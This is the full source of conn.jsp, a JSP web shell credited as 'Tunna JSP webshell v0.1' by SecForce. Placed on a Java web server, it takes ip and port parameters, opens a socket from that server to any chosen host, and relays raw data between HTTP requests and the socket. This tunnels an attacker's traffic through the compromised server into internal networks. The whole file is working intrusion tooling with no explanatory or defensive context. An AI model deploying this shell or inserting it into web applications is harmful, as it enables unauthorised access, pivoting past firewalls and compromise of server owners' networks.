conn.jsp

<%@ page import="java.io.*, java.net.*, java.nio.*, java.nio.channels.*" trimDirectiveWhitespaces="true" %>
<%!
//
//Tunna JSP webshell v0.1 (c) 2013 by Nikos Vassakis
//http://www.secforce.com / nikos.vassakis <at> secforce.com
//
public class SockException extends Exception{		//Custom exception class for socket exceptions
	public SockException(String message) {
		super(message);
	}
    public SockException(String message, Throwable throwable) {
        super(message, throwable);
    }
}
public SocketChannel connect(String ip, int port) throws SockException{
	SocketChannel socket;
	boolean established;
	try{
		socket = SocketChannel.open();	//Create socket
	}catch(IOException e){
		throw new SockException("[SERVER] Unable to create Socket");
	}
	try{
		established = socket.connect(new InetSocketAddress(ip, port));	//Connect to socket
	}catch( IOException e){
		throw new SockException("[Server] Unable to Connect");
	}
	try{
		socket.configureBlocking(false);		//Socket in non-blocking mode because of the consecutive HTTP requests
	}catch( IOException e){
		throw new SockException("[Server] Unable to set socket to non blocking mode");
	}
	if (!established){
		try{
			while(! socket.finishConnect() ){
			//wait for connection
			}
		}
		catch( IOException e){
			throw new SockException("[Server] Unable connect to socket");
		}
	}
	return socket;
}
%>
<%
SocketChannel socket=null;
OutputStream os = response.getOutputStream();
if(request.getParameter("proxy") == "" ){
	//Irrelevant: 	in windows after 1024, bytes are not written to socket
	//				in linux same happend after 4096
	int bufferSize = 8192; //4096 //8192
	if (request.getParameter("close") == ""){	//if url parameter close is received: close socket / invalidate session
		session.setAttribute("running","-1");	
		socket=(SocketChannel)session.getAttribute("socket");	//get socket from session
		if (socket != null){
			socket.close();
			}
		os.write("[Server] Closing the connection".getBytes());
		os.flush();
		os.close();
		session.invalidate();	//invalidate session
		return;
	}
	if(request.getParameter("port") != null){	//if port is specified connects to that port
		session.setAttribute("port", request.getParameter("port"));
		}
	if(request.getParameter("ip") != null){	//if ip is specified connects to that ip
		session.setAttribute("ip", request.getParameter("ip"));
		}
/*	SESSION	*/
	if(session.isNew()){							//1st request: initiate session
		session.setAttribute("running", "0");		
		os.write("[Server] All good to go, ensure the listener is working ;-)\n".getBytes());
		os.flush();
		os.close();// *important* to ensure no more jsp output
		return;
	}
	else{
		if (session.getAttribute("running") == "0" ){	//2nd request: get configuration options for socket
			String ip = (String) session.getAttribute("ip");
			int port = Integer.parseInt((String) session.getAttribute("port"));
			try{
				socket=connect(ip, port);
			}
			catch(SockException e){
				os.write(e.getMessage().getBytes());
				os.flush();
				os.close();
				return;
			}
			session.setAttribute("socket",socket);
			session.setAttribute("running", "1");
			os.write("[OK]".getBytes());			//Send [OK] back
			os.flush();
			os.close();// *important* to ensure no more jsp output
			return;
			}
		else{
			response.setContentType("application/oclet-stream");
			//Allocate buffers for socket IO
			ByteBuffer dataIn = ByteBuffer.allocate(bufferSize);		
			ByteBuffer dataOut = ByteBuffer.allocate(bufferSize);
			
			try{
				socket=(SocketChannel)session.getAttribute("socket");	//Get socket from session
			}catch(Exception e){
				os.write("[Server] Socket null pointer exception".getBytes());
				os.flush();
				os.close();
				return;
			}
			//Read data from request and write to socket
			InputStream is = request.getInputStream();
			byte[] postBuff = new byte[bufferSize];
			int postBytesRead = is.read(postBuff);
			if (postBytesRead > 0){
				dataIn = ByteBuffer.wrap(postBuff,0,postBytesRead);
				int bytesWritten = socket.write(dataIn);
				dataIn.clear();
			}
			//Read Data from socket and write to response
			int SocketBytesRead = socket.read(dataOut);
			if(SocketBytesRead > 0){
				byte[] respBuff = dataOut.array();
				os.write(respBuff,0,SocketBytesRead);
				os.flush();
				os.close();
				dataOut.clear();
				return;
				}
			else{
				os.write("".getBytes()); 	//No data on socket: send nothing back
				os.flush();
				os.close();
				return;
				}
			}
		}
}
%>